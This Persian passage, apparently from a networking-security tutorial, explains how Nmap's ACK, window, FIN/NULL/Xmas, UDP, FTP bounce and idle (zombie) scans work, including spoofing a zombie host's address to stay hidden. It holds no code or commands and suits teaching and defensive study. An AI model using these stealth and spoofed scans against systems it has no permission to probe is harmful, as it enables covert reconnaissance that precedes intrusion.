در اين تكنيك ، اولين بسته ي ارسالي از طرف ما ، با فلگ ACK ست شده مي باشد و جواب در صورت باز بودن يا بسته بودن پورت مورد نظر ، يك بسته با فلگ RST خواهد بود ! پس هدف از اين تكنيك ، باز بودن يا بسته بودن پورت مورد نظر نيست . اين تكنيك براي شناسايي تنظيمات فايروال يا سيستم هاي ********** كننده به كار برده ميشه. بنابرين اگر بسته ي ارسالي ما به هدف برسه و پاسخ RST دريافت بشه ، نتيجه اينه كه پورت مورد نظر ********** نشده و Nmap اون رو به صورت unfiltered نشون ميده . ولي اگر جواب RST نرسه و به جاي اون يك جواب ICMP بياد ، نتيجه ميشه كه اون پورت ********** شده و nmap اون رو به صورت filtered نشون ميده .
TCP Window Scan
دقيقاً سناريوي ACK Scan پياده سازي ميشه ، با اين تفاوت كه nmap به window size بسته ي پاسخ نگاه ميكنه . در بعضي از سيستم ها ، بسته ي پاسخ RST شامل يك مقدار مثبت براي Window Size براي پورتهاي باز هست ، در حالي كه در پورتهاي بسته ، اين مقدار صفر هست .
FIN/ACK ، FIN ، NULL ، Xmas Stealth Scans
تمامي اين تكنيكها شبيه هم هستند ، فقط موضوع بازي كردن با فلگ ها هست . ارسال يك بسته براي درخواست برقراري ارتباط روي يك پورت خاص در حالي كه فلگ اون اشتباه ست شده باشه ، باعث ايجاد دو حالت متفاوت ميشه . اگر پورت مورد نظر بسته باشه ، اون درخواست با يك بسته ي RST جواب داده ميشه و اگر پورت باز باشه ، هيچ جوابي ارسال نميشه . در تكنيكهاي بالا ، NULL به معني بسته اي هست كه هيچ فلگی در اون ست نشده باشه و Xmas هم بسته اي هست كه همه ي فلگهاي اون با هم ست شده باشه . تمام اين تكنيكها مثل SYN Scan مخفي هستند و همون مزايا و معايب رو دارند .
UDP Scan
نياز به توضيح نداره .
IP Protocol
براي تشخيص نوع IP protocol مورد پشتيباني توسط هدف مثل ICMP , TCP ,IGMP و ... استفاده ميشه .
Ping Sweep
احتياج به توضيح نداره .
Host List
احتياج به توضيح نداره .
FTP Bounce
در اين روش از يك Server FTP كه اجازه ي login كردن با كاربر anonymous رو بده و يك دايركتوري با قابليت خواندن و نوشتن رو براي اين كاربر داشته باشه و بشه با اون يك فايل براي يك ماشين ديگه ارسال كرد ، استفاده ميشه . اگرچه ديگه شايد چنين FTP Server ي پيدا نشه ، اما شيوه ي كار اينجوريه كه nmap بعد از مشخص كردن آدرس اين ftp server ، از اون ميخواد كه يك فايل براي سيستم هدف روي پورت خاص ارسال كنه ، اگر ftp server تونست روي اون پورت مورد نظر با سيستم هدف ارتباط بر قرار كنه ، nmap ميفهمه كه اون پورت روي سيستم هدف باز هست و در غير اين صورت ، پورت بسته هست .
Idle
در اين روش هم كه يكي از مخفي ترين تكنيكهاي اسكن هست ، بايد از يك سيستم واسط استفاده كرد كه اصطلاحاً به اونها Zombie گفته ميشه . شيوه ي كار به اين شكل هست كه هر بسته ي IP ، يك شماره منحصر به فرد داره كه به اون IPID ميگن . سيستم عاملها ( بعضي نسخه ها ) ، در هر ارسال بسته ، اين مقدار رو افزايش مي دادند . حالا اين ايده وجود داره كه اگر مهاجم بتونه يك Zombie پيدا كنه و بتونه شماره هاي IPID اون رو بخوونه و تحت نظر داشته باشه ، ميتونه بفهمه كه چند تا بسته در يك فاصله مشخص از سيستم zombie ارسال شده . حالا با اين توضيح فرض ميكنيم كه ipid سيستم zombie مثلاً 32852 هست . مهاجم يك بسته ي SYN براي سيستم هدف روي پورت خاص با آدرس مبداء zombie ارسال ميكنه ( يك نوع spoof ) . اگر پورت مورد نظر روي سيستم هدف باز باشه ، سيستم هدف يك بسته ي ACK , SYN براي zombie ميفرسته . چون zombie هيچ سابقه اي از اين ارتباط نداره ، اون رو reset ميكه و IPID سيستم zombie افزايش پيدا ميكنه . حالا اگر پورت سيستم هدف بسته باشه ، يك بسته ي RST براي zombie ميفرسته و zombie هم جوابي نميده و IPID اون تغييري نميكنه . مهاجم هم كه شماره IPID هاي zombie رو تحت نظارت داره ، ميفهمه كه پورت رو سيستم هدف باز بوده يا بسته .